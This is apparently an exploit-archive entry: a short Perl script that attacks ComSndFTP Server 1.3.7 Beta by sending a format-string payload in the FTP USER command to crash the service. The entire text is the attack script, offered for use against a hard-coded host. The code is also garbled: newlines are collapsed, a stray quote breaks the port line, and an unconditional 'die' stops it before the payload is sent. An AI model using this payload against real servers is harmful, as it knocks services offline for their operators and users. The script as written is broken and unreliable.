ComSndFTP Server 1.3.7 Beta Denial Of Service

#!/usr/bin/perl# ComSndFTP Server Remote Format String Denial of Service (DoS)use strict;use warnings;use IO::Socket;$| = 1;my $host = "192.168.172.136";my $port = "21"";my $payload = '%s%p%x%d';print "Connecting... ";my $sock = IO::Socket::INET->new(    PeerAddr => $host,    PeerPort => $port,    Proto    => 'tcp',    Timeout  => 30);die "Unable to connect \n";$sock->recv(my $content, 100, 0);sleep(2);$sock->send("USER $payload\r\n", 0);sleep(2);$sock->recv($content, 100, 0);sleep(5);$sock->close;print "Denial Of Service completed!\n";exit(0);